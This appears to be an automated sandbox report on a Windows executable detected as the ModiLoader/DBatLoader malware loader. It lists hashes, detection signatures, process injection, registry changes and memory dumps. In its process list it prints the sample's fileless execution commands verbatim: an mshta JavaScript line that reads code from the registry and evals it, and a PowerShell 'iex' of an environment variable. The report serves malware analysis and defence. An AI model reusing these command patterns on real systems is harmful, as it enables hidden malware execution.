Analysis
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max time kernel
94s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
03-10-2022 01:21
Static task
static1
Behavioral task
behavioral1
Sample
41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
Resource
win10v2004-20220812-en
General
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Target
41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
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Size
284KB
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MD5
71096df07cffaf2eca61f769660708b0
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SHA1
1dc9cb4d2e512bf9c6e665a55abc92b3d3d4a598
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SHA256
41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7
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SHA512
0660d8ef78c19d1793e4882300b7c987d46832794734563e91bcc5b828d86c68aeaff59898451c892b58836ac9b999b11e99701aff77f782756b1eb8b620d350
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SSDEEP
6144:Aen7pmZX/JaVjUsvvEVtXk07pGm2WCg8zQMrqnvwPzB/mLUacmV:XdmC1LEf00QzWnGQNn4PzPat
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 308 1264 mshta.exe -
ModiLoader Second Stage 5 IoCs
Processes:
resource yara_rule behavioral2/memory/5052-134-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/5052-136-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/5052-137-0x0000000000400000-0x0000000000435000-memory.dmp modiloader_stage2 behavioral2/memory/5052-138-0x000000000D590000-0x000000000D650000-memory.dmp modiloader_stage2 behavioral2/memory/5052-142-0x000000000D590000-0x000000000D650000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exedescription pid process target process PID 4920 set thread context of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\International\CpMRU mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Enable = "1" mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Size = "10" mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100" mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Factor = "20" mshta.exe Set value (data) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Cache = b104000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exepowershell.exepid process 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 3916 powershell.exe 3916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3916 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exepid process 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exemshta.exedescription pid process target process PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 4920 wrote to memory of 5052 4920 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe PID 308 wrote to memory of 3916 308 mshta.exe powershell.exe PID 308 wrote to memory of 3916 308 mshta.exe powershell.exe PID 308 wrote to memory of 3916 308 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe"C:\Users\Admin\AppData\Local\Temp\41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe"C:\Users\Admin\AppData\Local\Temp\41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe"2⤵
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:G0MCgrdM="2";X25w=new%20ActiveXObject("WScript.Shell");oX2PHr8uLz="GGuAB";ELUz2=X25w.RegRead("HKLM\\software\\Wow6432Node\\VtERheagv\\1ftWJePji");J6GQFbbT1="2DZ";eval(ELUz2);Acw8bBI0K="r6";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:cawse2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/3916-144-0x0000000004E40000-0x0000000004E62000-memory.dmpFilesize
136KB
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memory/3916-149-0x0000000006CF0000-0x0000000006D0A000-memory.dmpFilesize
104KB
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memory/3916-148-0x0000000007350000-0x00000000079CA000-memory.dmpFilesize
6.5MB
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memory/3916-147-0x0000000005680000-0x000000000569E000-memory.dmpFilesize
120KB
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memory/3916-146-0x0000000005730000-0x0000000005796000-memory.dmpFilesize
408KB
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memory/3916-140-0x0000000000000000-mapping.dmp
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memory/3916-141-0x00000000024E0000-0x0000000002516000-memory.dmpFilesize
216KB
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memory/3916-145-0x00000000056C0000-0x0000000005726000-memory.dmpFilesize
408KB
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memory/3916-143-0x0000000004EE0000-0x0000000005508000-memory.dmpFilesize
6.2MB
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memory/4920-132-0x0000000000BA0000-0x0000000000BA4000-memory.dmpFilesize
16KB
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memory/5052-137-0x0000000000400000-0x0000000000435000-memory.dmpFilesize
212KB
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memory/5052-142-0x000000000D590000-0x000000000D650000-memory.dmpFilesize
768KB
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memory/5052-138-0x000000000D590000-0x000000000D650000-memory.dmpFilesize
768KB
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memory/5052-136-0x0000000000400000-0x0000000001400000-memory.dmpFilesize
16.0MB
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memory/5052-134-0x0000000000400000-0x0000000001400000-memory.dmpFilesize
16.0MB
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memory/5052-133-0x0000000000000000-mapping.dmp